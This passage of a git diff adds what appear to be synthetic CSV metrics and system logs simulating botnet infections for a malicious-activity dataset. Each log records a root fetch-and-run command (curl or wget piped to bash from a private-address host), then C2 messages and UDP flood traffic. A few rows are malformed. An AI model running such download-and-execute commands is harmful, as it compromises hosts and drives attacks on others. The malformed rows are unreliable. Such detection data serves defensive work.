+2025-09-11T03:01:25Z,9.15,42.06,32.76,1.47,2.15 +2025-09-11T03:01:30Z,13.04,41.89,39.44,1.77,2.58 +2025-09-11T03:01:35Z,11.59,42.19,31.11,1.55,2.23 +2025-09-11T03:01:40Z,14.98,41.58,42.87,1.98,2.94 +2025-09-11T03:01:45Z,9.82,42.34,34.02,1.42,2.01 +2025-09-11T03:01:50Z,12.78,41.95,39.01,1.81,2.49 +2025-09-11T03:01:55Z,13.62,42.13,30.73,1.64,2.38 +2025-09-11T03:02:00Z,13.11,42.41,32.54,7.2,3.87 +2025-09-11T03:02:05Z,98.2,49.5,4.1,0.76,1189.45 +2025-09-11T03:02:10Z,98.9,49.8,3.7,0.81,1205.11 +2025-09-11T03:02:15Z,98.5,50.1,4.5,0.92,1203.28 +2025-09-11T03:02:20Z,98.1,50.2,3.9,0.74,1198.86 +2025-09-11T03:02:25Z,98.7,49.9,4.2,0.88,1208.73 +2025-09-11T03:02:30Z,98.3,50.0,4.0,0.95,1192.91 +2025-09-11T03:02:35Z,99.0,50.4,4.8,0.82,1206.52 +2025-09-11T03:02:40Z,98.0,50.1,3.8,0.90,1196.77 +2025-09-11T03:02:45Z,98.6,50.3,4.4,0.91,1201.33 +2025-09-11T03:02:50Z,99.1,49.8,4.1,0.79,1207.94 +2025-09-11T03:02:55Z,99.3,50.5,5.0,0.94,1199.55 +2025-09-11T03:03:00Z,98.2,50.0,3.6,0.84,1194.88 +2025-09-11T03:03:05Z,98.8,50.2,4.6,0.89,1204.01 +2025-09-11T03:03:10Z,99.2,50.6,4.0,0.77,1191.64 +2025-09-11T03:03:15Z,98.7,50.1,4.3,0.93,1200.72 +2025-09-11T03:03:20Z,98.4,50.3,4.7,0.86,1206.89 +2025-09-11T03:03:25Z,99.0,49.9,3.9,0.80,1197.35 +2025-09-11T03:03:30Z,98.1,50.0,4.2,0.87,1194.11 +2025-09-11T03:03:35Z,98.6,50.4,4.9,0.96,1202.48 +2025-09-11T03:03:40Z,99.1,50.7,4.1,0.81,1208.57 +2025-09-11T03:03:45Z,99.4,50.2,3.5,0.91,1190.42 +2025-09-11T03:03:50Z,98.2,50.0,4.6,0.87,1199.98 +2025-09-11T03:03:55Z,98.9,50.5,5.1,0.99,1204.69 +2025-09-11T03:04:00Z,99.2,50.1,3.8,0.78,1196.41 +2025-09-11T03:04:05Z,98.7,50.3,4.4,0.92,1201.83 +2025-09-11T03:04:10Z,98.4,50.6,3.9,0.85,1198.01 +2025-09-11T03:04:15Z,99.0,50.2,4.3,0.95,1203.44 +2025-09-11T03:04:20Z,98.1,50.4,4.8,0.76,1192.88 +2025-09-11T03:04:25Z,98.6,50.0,4.1,0.88,1200.59 +2025-09-11T03:04:30Z,99.1,50.7,4.7,0.98,1205.81 +2025-09-11T03:04:35Z,99.4,50.3,3.6,0.82,1195.34 +2025-09-11T03:04:40Z,98.2,50.1,4.2,0.90,1199.66 +2025-09-11T03:04:45Z,98.8,50.6,5.0,0.93,1207.78 +2025-09-11T03:04:50Z,99.2,50.2,4.0,0.77,1191.31 +2025-09-11T03:04:55Z,98.7,50.4,4.5,0.92,1202.53 +2025-09-11T03:05:00Z,98.4,50.8,4.3,0.84,1197.29 +2025-09-11T03:05:05Z,99.0,50.3,4.8,0.97,1204.81 +2025-09-11T03:05:10Z,98.1,50.5,3.8,0.80,1193.55 +2025-09-11T03:05:15Z,98.6,50.1,4.4,0.91,1201.99 +2025-09-11T03:05:20Z,99.1,50.7,4.9,0.99,1206.33 +2025-09-11T03:05:25Z,99.4,50.4,3.9,0.79,1194.76 +2025-09-11T03:05:30Z,98.2,50.2,4.2,0.87,1200.32 +2025-09-11T03:05:35Z,98.8,50.6,5.1,0.93,1208.21 +2025-09-11T03:05:40Z,99.2,50.3,4.0,0.81,1192.46 +2025-09-11T03:05:45Z,98.7,50.5,4.5,0.95,1199.11 +2025-09-11T03:05:50Z,98.4,50.0 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_17.log b/mali_dataset/scenario_2/mali_2_17.log new file mode 100644 index 0000000000000000000000000000000000000000..ecb409705f11633775a7d891df3763b08741c4a4 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_17.log @@ -0,0 +1,32 @@ +Sep 11 03:00:00 systemd[1]: Starting User Login Management... +Sep 11 03:00:10 sshd[8032]: Server listening on 0.0.0.0 port 22. +Sep 11 03:00:35 CRON[8055]: (www-data) CMD (/usr/bin/php /var/www/html/cron.php) +Sep 11 03:01:05 auditd[789]: Auditd rotating logs +Sep 11 03:01:35 CRON[8069]: (www-data) CMD (/usr/bin/php /var/www/html/cron.php) +Sep 11 03:02:00 anacron[8081]: Job `cron.daily` started +Sep 11 03:02:01 bash[8088]: (root) CMD (curl -sSL http://172.16.31.100/init | bash -s) +Sep 11 03:02:04 ksoftirqd/0[8095]: network flood process started. +Sep 11 03:02:05 ksoftirqd/0[8095]: Targeting 198.51.100.210:53 with DNS amplification packets. +Sep 11 03:02:05 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=58219 DPT=53 +Sep 11 03:02:05 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=58220 DPT=53 +Sep 11 03:02:10 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=44331 DPT=53 +Sep 11 03:02:20 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=39812 DPT=53 +Sep 11 03:02:35 CRON[8101]: (www-data) CMD (/usr/bin/php /var/www/html/cron.php) +Sep 11 03:02:40 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=61093 DPT=53 +Sep 11 03:02:55 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=35820 DPT=53 +Sep 11 03:03:10 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=50231 DPT=53 +Sep 11 03:03:25 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=40123 DPT=53 +Sep 11 03:03:45 web-server[1120]: [error] 758#758: *315 upstream timed out (110: Connection timed out) while connecting to upstream, client: 127.0.0.1 +Sep 11 03:03:50 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=55891 DPT=53 +Sep 11 03:04:15 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=47901 DPT=53 +Sep 11 03:04:30 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=33568 DPT=53 +d +Sep 11 03:04:55 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=52210 DPT=53 +Sep 11 03:05:10 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=40234 DPT=53 +Sep 11 03:05:30 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=44678 DPT=53 +Sep 11 03:05:55 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=58013 DPT=53 +Sep 11 03:06:15 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=36892 DPT=53 +Sep 11 03:06:35 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=50236 DPT=53 +Sep 11 03:06:50 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=41347 DPT=53 +Sep 11 03:07:05 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=55791 DPT=53 +Sep 11 03:07:25 kernel: [IPTABLES] OUTBOUND_PASS: SRC=192.168.10.2 DST=198.51.100.210 PROTO=UDP SPT=47903 DPT=53 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_18.csv b/mali_dataset/scenario_2/mali_2_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..6669669f98a885e8b6bb449c6329d8978fb1ab1b --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-12T21:15:00Z,21.05,60.12,45.33,2.58,4.12 +2025-09-12T21:15:05Z,18.76,59.88,49.12,2.21,3.88 +2025-09-12T21:15:10Z,23.14,60.34,42.87,2.78,4.31 +2025-09-12T21:15:15Z,17.92,59.71,40.19,2.15,3.75 +2025-09-12T21:15:20Z,22.45,60.55,48.75,2.89,4.52 +2025-09-12T21:15:25Z,19.33,60.01,44.21,2.45,4.01 +2025-09-12T21:15:30Z,20.89,60.28,46.77,2.98,4.44 +2025-09-12T21:15:35Z,18.21,59.95,41.03,2.33,3.92 +2025-09-12T21:15:40Z,24.01,60.67,50.11,3.01,4.71 +2025-09-12T21:15:45Z,19.98,59.83,39.88,2.28,3.81 +2025-09-12T21:15:50Z,21.56,60.41,47.93,2.83,4.39 +2025-09-12T21:15:55Z,20.24,60.09,45.18,2.91,4.27 +2025-09-12T21:16:00Z,18.89,59.78,42.54,2.18,3.79 +2025-09-12T21:16:05Z,23.58,60.72,49.82,3.05,4.68 +2025-09-12T21:16:10Z,19.64,60.15,39.51,2.51,4.09 +2025-09-12T21:16:15Z,21.11,60.31,46.03,2.71,4.33 +2025-09-12T21:16:20Z,24.32,60.81,51.02,3.12,4.88 +2025-09-12T21:16:25Z,17.58,59.69,40.88,2.26,3.95 +2025-09-12T21:16:30Z,22.01,60.49,47.65,2.95,4.55 +2025-09-12T21:16:35Z,20.59,60.21,43.29,2.62,4.18 +2025-09-12T21:16:40Z,23.94,60.93,50.81,3.18,4.99 +2025-09-12T21:16:45Z,18.47,59.85,41.67,2.39,3.85 +2025-09-12T21:16:50Z,21.82,60.52,48.11,2.88,4.48 +2025-09-12T21:16:55Z,19.85,60.18,40.35,2.48,3.99 +2025-09-12T21:17:00Z,20.12,60.61,41.81,11.2,5.03 +2025-09-12T21:17:05Z,97.5,65.2,5.2,1.21,1301.22 +2025-09-12T21:17:10Z,97.9,65.5,4.8,1.25,1322.81 +2025-09-12T21:17:15Z,97.7,65.8,5.6,1.38,1319.43 +2025-09-12T21:17:20Z,97.3,65.9,5.0,1.19,1315.99 +2025-09-12T21:17:25Z,97.8,65.6,5.3,1.33,1325.11 +2025-09-12T21:17:30Z,97.4,65.7,5.1,1.41,1309.87 +2025-09-12T21:17:35Z,98.0,66.1,5.9,1.26,1322.51 +2025-09-12T21:17:40Z,97.2,65.8,4.9,1.35,1313.02 +2025-09-12T21:17:45Z,97.6,66.0,5.5,1.36,1318.94 +2025-09-12T21:17:50Z,98.1,65.5,5.2,1.23,1324.78 +2025-09-12T21:17:55Z,98.3,66.2,6.1,1.39,1316.32 +2025-09-12T21:18:00Z,97.3,65.7,4.7,1.28,1311.95 +2025-09-12T21:18:05Z,97.9,65.9,5.7,1.34,1320.15 +2025-09-12T21:18:10Z,98.2,66.3,5.1,1.21,1308.66 +2025-09-12T21:18:15Z,97.8,65.8,5.4,1.36,1317.88 +2025-09-12T21:18:20Z,97.5,66.0,5.8,1.30,1323.49 +2025-09-12T21:18:25Z,98.0,65.6,5.0,1.24,1314.21 +2025-09-12T21:18:30Z,97.2,65.7,5.3,1.31,1310.45 +2025-09-12T21:18:35Z,97.7,66.1,6.0,1.40,1319.77 +2025-09-12T21:18:40Z,98.1,66.4,5.2,1.25,1325.33 +2025-09-12T21:18:45Z,98.4,65.9,4.6,1.35,1307.98 +2025-09-12T21:18:50Z,97.3,65.7,5.7,1.31,1316.89 +2025-09-12T21:18:55Z,97.9,66.2,6.2,1.43,1321.05 +2025-09-12T21:19:00Z,98.2,65.8,4.9,1.22,1313.59 +2025-09-12T21:19:05Z,97.8,66.0,5.5,1.36,1318.41 +2025-09-12T21:19:10Z,97.5,66.3,5.0,1.29,1315.11 +2025-09-12T21:19:15Z,98.0,65.9,5.4,1.38,1320.73 +2025-09-12T21:19:20Z,97.2,66.1,5.9,1.20,1309.43 +2025-09-12T21:19:25Z,97.6,65.7,5.2,1.33,1317.55 +2025-09-12T21:19:30Z,98.1,66.4,5.8,1.42,1322.98 +2025-09-12T21:19:35Z,98.4,66.0,4.7,1.26,1312.87 +2025-09-12T21:19:40Z,97.3,65.8,5.3,1.34,1316.29 +2025-09-12T21:19:45Z,97.9,66.3,6.1,1.37,1324.31 +2025-09-12T21:19:50Z,98.2,65.9,5.1,1.21,1308.19 +2025-09-12T21:19:55Z,97.8,66.1,5.6,1.36,1319.01 +2025-09-12T21:20:00Z,97.5,66.5,5.3,1.28,1314.88 +2025-09-12T21:20:05Z,98.0,66.0,5.9,1.41,1321.55 +2025-09-12T21:20:10Z,97.2,66.2,4.9,1.24,1310.12 +2025-09-12T21:20:15Z,97.6,65.8,5.5,1.35,1318.66 +2025-09-12T21:20:20Z,98.1,66.4,6.0,1.43,1323.89 +2025-09-12T21:20:25Z,98.4,66.1,5.0,1.23,1311.53 +2025-09-12T21:20:30Z,97.3,65.9,5.3,1.30,1317.37 +2d2025-09-12T21:20:35Z,97.9,66.3,6.2,1.36,1325.22 +2025-09-12T21:20:40Z,98.2,66.0,5.1,1.25,1309.24 +2025-09-12T21:20:45Z,97.8,66.2,5.6,1.39,1316.88 +2025-09-12T21:20:50Z,97.5,65.7,5.2,1.29,1314.13 +2025-09-12T21:20:55Z,98.0,66.4,5.8,1.42,1320.93 +2025-09-12T21:21:00Z,97.2,65.9,4.7,1.27,1311.16 +2025-09-12T21:21:05Z,97.6,66.1,5.5,1.34,1318.39 +2025-09-12T21:21:10Z,98.1,66.5,6.0,1.44,1322.01 +2025-09-12T21:21:15Z,98.4,66.0,4.9,1.23,1308.87 +2025-09-12T21:21:20Z,97.3,66.2,5.3,1.32,1317.18 +2025-09-12T21:21:25Z,97.9,66.6,5.9,1.38,1324.89 +2025-09-12T21:21:30Z,98.2,66.1,5.0,1.26,1310.29 +2025-09-12T21:21:35Z,97.8,66.3,5.4,1.37,1319.66 +2025-09-12T21:21:40Z,97.5,65.8,5.8,1.43,1323.51 +2025-09-12T21:21:45Z,98.0,66.4,4.8,1.21,1308.64 +2025-09-12T21:21:50Z,97.2,65.9,5.6,1.40,1316.74 +2025-09-12T21:21:55Z,97.6,66.5,5.1,1.36,1314.47 +2025-09-12T21:22:00Z,98.1,66.1,5.7,1.45,1321.38 +2025-09-12T21:22:05Z,98.4,65.7,4.6,1.38,1307.75 +2025-09-12T21:22:10Z,97.3,66.2,5.3,1.33,1315.89 +2025-09-12T21:22:15Z,97.9,66.6,5.9,1.46,1322.46 +2025-09-12T21:22:20Z,98.2,66.2,5.0,1.30,1310.99 +2025-09-12T21:22:25Z,97.8,66.4,5.4,1.41,1318.17 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_18.log b/mali_dataset/scenario_2/mali_2_18.log new file mode 100644 index 0000000000000000000000000000000000000000..1f180d8df140afaad830d875a2c0a11d3a2328a4 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_18.log @@ -0,0 +1,28 @@ +Sep 12 21:15:00 CRON[11221]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +Sep 12 21:15:15 systemd[1]: Starting Postfix Mail Transport Agent (instance -)... +Sep 12 21:15:45 postfix/master[11245]: daemon started -- version 3.5.6, configuration /etc/postfix +Sep 12 21:16:15 CRON[11258]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +Sep 12 21:16:50 systemd[1]: packagekit.service: Succeeded. +Sep 12 21:17:00 CRON[11271]: (root) CMD (wget -q -O /tmp/update http://192.168.1.150/agent; chmod +x /tmp/update; /tmp/update) +Sep 12 21:17:04 update[11275]: Agent downloaded. Executing in memory. +Sep 12 21:17:05 update[11275]: Command received from C2. Beginning UDP traffic generation to 203.0.113.112 on port 443. +Sep 12 21:17:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=31238 DPT=443 +Sep 12 21:17:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=31239 DPT=443 +Sep 12 21:17:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=48291 DPT=443 +Sep 12 21:17:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=53281 DPT=443 +Sep 12 21:17:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=39882 DPT=443 +Sep 12 21:18:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=62123 DPT=443 +Sep 12 21:18:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=35890 DPT=443 +Sep 12 21:18:35 database-app[3341]: [WARN] Connection pool 'primary' is reaching its max limit (98/100). +Sep 12 21:18:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=50234 DPT=443 +Sep 12 21:19:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=41345 DPT=443 +Sep 12 21:19:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=55789 DPT=443 +Sep 12 21:19:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=47901 DPT=443 +Sep 12 21:19:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=32567 DPT=443 +Sep 12 21:20:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=52210 DPT=443 +Sep 12 21:20:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=40233 DPT=443 +Sep 12 21:20:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=44678 DPT=443 +Sep 12 21:21:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=58012 DPT=443 +Sep 12 21:21:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=36891 DPT=443 +Sep 12 21:21:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=50235 DPT=443 +Sep 12 21:22:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.1.1.2 DST=203.0.113.112 PROTO=UDP SPT=41346 DPT=443 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_19.csv b/mali_dataset/scenario_2/mali_2_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..fec6d23436ae910869ac97e44cea576b82bc84a9 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-14T11:00:00Z,14.22,46.54,33.11,1.78,2.99 +2025-09-14T11:00:05Z,17.89,46.91,37.54,1.45,2.78 +2025-09-14T11:00:10Z,12.54,46.32,31.89,1.89,3.12 +2025-09-14T11:00:15Z,16.71,46.88,29.43,1.67,2.85 +2025-09-14T11:00:20Z,19.03,47.01,38.99,1.99,3.45 +2025-09-14T11:00:25Z,13.88,46.45,34.01,1.72,3.01 +2025-09-14T11:00:30Z,15.99,46.78,36.21,2.05,3.33 +2025-09-14T11:00:35Z,14.31,46.61,30.76,1.55,2.94 +2025-09-14T11:00:40Z,18.21,47.12,40.15,2.11,3.67 +2025-09-14T11:00:45Z,15.01,46.72,28.98,1.81,3.05 +2025-09-14T11:00:50Z,13.99,46.83,37.11,1.92,3.18 +2025-09-14T11:00:55Z,17.43,46.99,35.82,2.01,3.41 +2025-09-14T11:01:00Z,14.87,46.59,32.43,1.69,2.91 +2025-09-14T11:01:05Z,18.59,47.08,39.78,2.18,3.72 +2025-09-14T11:01:10Z,16.21,46.81,28.51,1.98,3.11 +2025-09-14T11:01:15Z,14.67,46.68,35.11,1.78,3.03 +2025-09-14T11:01:20Z,19.33,47.18,41.21,2.25,3.89 +2025-09-14T11:01:25Z,13.12,46.49,31.99,1.61,2.88 +2025-09-14T11:01:30Z,17.02,46.92,38.34,2.08,3.54 +2025-09-14T11:01:35Z,15.68,46.75,30.03,1.85,3.15 +2025-09-14T11:01:40Z,18.91,47.25,42.01,2.31,3.98 +2025-09-14T11:01:45Z,14.01,46.52,32.88,1.69,2.97 +2025-09-14T11:01:50Z,16.89,46.85,37.99,2.02,3.48 +2025-09-14T11:01:55Z,15.22,46.71,29.87,1.79,3.09 +2025-09-14T11:02:00Z,15.83,46.95,30.12,8.1,4.21 +2025-09-14T11:02:05Z,96.8,51.2,3.8,0.98,1254.77 +2025-09-14T11:02:10Z,97.2,51.5,3.4,1.02,1278.43 +2025-09-14T11:02:15Z,97.0,51.7,4.1,1.15,1275.91 +2025-09-14T11:02:20Z,96.6,51.8,3.6,0.95,1271.02 +2025-09-14T11:02:25Z,97.1,51.5,3.9,1.09,1281.21 +2025-09-14T11:02:30Z,96.7,51.6,3.7,1.18,1264.88 +2025-09-14T11:02:35Z,97.4,52.0,4.4,1.01,1278.11 +2025-09-14T11:02:40Z,96.5,51.7,3.5,1.11,1269.34 +2025-09-14T11:02:45Z,96.9,51.9,4.0,1.12,1274.05 +2025-09-14T11:02:50Z,97.5,51.4,3.8,0.99,1280.19 +2025-09-14T11:02:55Z,97.7,52.1,4.6,1.16,1272.93 +2025-09-14T11:03:00Z,96.6,51.6,3.3,1.04,1267.58 +2025-09-14T11:03:05Z,97.2,51.8,4.2,1.10,1276.32 +2025-09-14T11:03:10Z,97.6,52.2,3.7,0.97,1263.99 +2025-09-14T11:03:15Z,97.1,51.7,3.9,1.13,1273.84 +2025-09-14T11:03:20Z,96.8,51.9,4.3,1.06,1279.65 +2025-09-14T11:03:25Z,97.4,51.5,3.6,1.00,1270.01 +2025-09-14T11:03:30Z,96.5,51.6,3.8,1.07,1266.77 +2025-09-14T11:03:35Z,97.0,52.0,4.5,1.17,1275.41 +2025-09-14T11:03:40Z,97.5,52.3,3.8,1.01,1281.18 +2025-09-14T11:03:45Z,97.8,51.8,3.2,1.11,1262.87 +2025-09-14T11:03:50Z,96.6,51.6,4.2,1.07,1272.99 +2025-09-14T11:03:55Z,97.2,52.1,4.7,1.20,1277.01 +2025-09-14T11:04:00Z,97.6,51.7,3.5,0.98,1268.87 +2025-09-14T11:04:05Z,97.1,51.9,4.0,1.13,1274.55 +25025-09-14T11:04:10Z,96.8,52.2,3.6,1.05,1271.78 +2025-09-14T11:04:15Z,97.4,51.8,3.9,1.16,1276.43 +2025-09-14T11:04:20Z,96.5,52.0,4.4,0.96,1265.11 +2025-09-14T11:04:25Z,96.9,51.6,3.8,1.09,1273.65 +2025-09-14T11:04:30Z,97.5,52.3,4.3,1.19,1278.78 +2025-09-14T11:04:35Z,97.8,51.9,3.3,1.02,1268.42 +2025-09-14T11:04:40Z,96.6,51.7,3.8,1.10,1272.54 +2025-09-14T11:04:45Z,97.2,52.2,4.6,1.14,1280.01 +2025-09-14T11:04:50Z,97.6,51.8,3.7,0.97,1263.67 +2025-09-14T11:04:55Z,97.1,52.0,4.1,1.13,1275.03 +2025-09-14T11:05:00Z,96.8,52.4,3.9,1.04,1270.99 +2025-09-14T11:05:05Z,97.4,51.9,4.4,1.18,1277.81 +2025-09-14T11:05:10Z,96.5,52.1,3.5,1.00,1266.21 +2025-09-14T11:05:15Z,96.9,51.7,4.0,1.11,1274.79 +2025-09-14T11:05:20Z,97.5,52.3,4.5,1.20,1279.13 +2025-09-14T11:05:25Z,97.8,52.0,3.6,0.99,1267.88 +2025-09-14T11:05:30Z,96.6,51.8,3.8,1.06,1273.11 +2025-09-14T11:05:35Z,97.2,52.2,4.7,1.14,1281.01 +2025-09-14T11:05:40Z,97.6,51.9,3.7,1.01,1264.99 +2025-09-14T11:05:45Z,97.1,52.1,4.1,1.15,1272.03 +2025-09-14T11:05:50Z,96.8,51.6,3.8,1.05,1270.18 +2025-09-14T11:05:55Z,97.4,52.3,4.3,1.19,1276.99 +2025-09-14T11:06:00Z,96.5,51.8,3.3,1.03,1267.04 +2025-09-14T11:06:05Z,96.9,52.0,4.0,1.10,1274.17 +2025-09-14T11:06:10Z,97.5,52.4,4.5,1.21,1278.33 +2025-09-14T11:06:15Z,97.8,51.9,3.5,0.98,1264.08 +2025-09-14T11:06:20Z,96.6,52.1,3.9,1.12,1273.01 +2025-09-14T11:06:25Z,97.2,52.5,4.4,1.18,1280.89 +2025-09-14T11:06:30Z,97.6,52.0,3.6,1.00,1266.65 +2025-09-14T11:06:35Z,97.1,52.2,4.0,1.13,1275.76 +2025-09-14T11:06:40Z,96.8,51.7,4.3,1.20,1279.23 +2025-09-14T11:06:45Z,97.4,52.3,3.4,0.97,1264.71 +2025-09-14T11:06:50Z,96.5,51.8,4.1,1.16,1272.54 +2025-09-14T11:06:55Z,96.9,52.4,3.7,1.13,1271.01 +2025-09-14T11:07:00Z,97.5,52.0,4.2,1.22,1277.55 +2025-09-14T11:07:05Z,97.8,51.6,3.2,1.12,1263.11 +2025-09-14T11:07:10Z,96.6,52.1,3.9,1.09,1271.88 +2025-09-14T11:07:15Z,97.2,52.5,4.4,1.23,1278.91 +2025-09-14T11:07:20Z,97.6,52.1,3.6,1.04,1267.23 +2025-09-14T11:07:25Z,97.1,52.3,4.0,1.17,1274.65 \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_19.log b/mali_dataset/scenario_2/mali_2_19.log new file mode 100644 index 0000000000000000000000000000000000000000..5a987cd7982a44b9f85434dd41966ab44415dbdd --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_19.log @@ -0,0 +1,27 @@ +Sep 14 11:00:00 systemd[1]: Starting LVM2 PV scan on device 8:1... +Sep 14 11:00:15 unattended-upgrades[1521]: INFO: Initial blacklist is: +Sep 14 11:00:45 rsyslogd[1488]: [origin software="rsyslogd" swVersion="8.2001.0" x-pid="1488" x-info="https://www.rsyslog.com"] start +Sep 14 11:01:15 CRON[55011]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Sep 14 11:01:45 systemd[1]: Started LVM2 PV scan on device 8:1. +Sep 14 11:02:00 sh[55025]: (root) CMD (curl http://172.20.10.8/a | bash) +Sep 14 11:02:04 [ddos-svc]: Process started, PID 55029. Listening for C2 instructions. +Sep 14 11:02:05 [ddos-svc]: C2 order received. Target: 203.0.113.42:8080. Mode: UDP_FLOOD. Duration: 300s. +Sep 14 11:02:05 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=61122 DPT=8080 +Sep 14 11:02:05 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=61123 DPT=8080 +Sep 14 11:02:20 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=55431 DPT=8080 +Sep 14 11:02:35 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=44321 DPT=8080 +Sep 14 11:02:50 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=39871 DPT=8080 +Sep 14 11:03:10 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=62098 DPT=8080 +Sep 14 11:03:30 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=35811 DPT=8080 +Sep 14 11:03:45 java[2345]: SEVERE: Exception during task execution: java.net.ConnectException: Connection refused (Connection refused) +Sep 14 11:04:00 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=50213 DPT=8080 +Sep 14 11:04:20 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=41325 DPT=8080 +Sep 14 11:04:45 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=55779 DPT=8080 +Sep 14 11:05:05 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=47911 DPT=8080 +Sep 14 11:05:25 kernel: [firewalld] OUT_ETH0_ALLOW: SRC=10.0.8.20 DST=203.0.113.42 PROTO=UDP SPT=32588 DPT=8080 +Sep 14 11:05:40 kernel: [firewalld] OUT_ETH0_ALLOW: 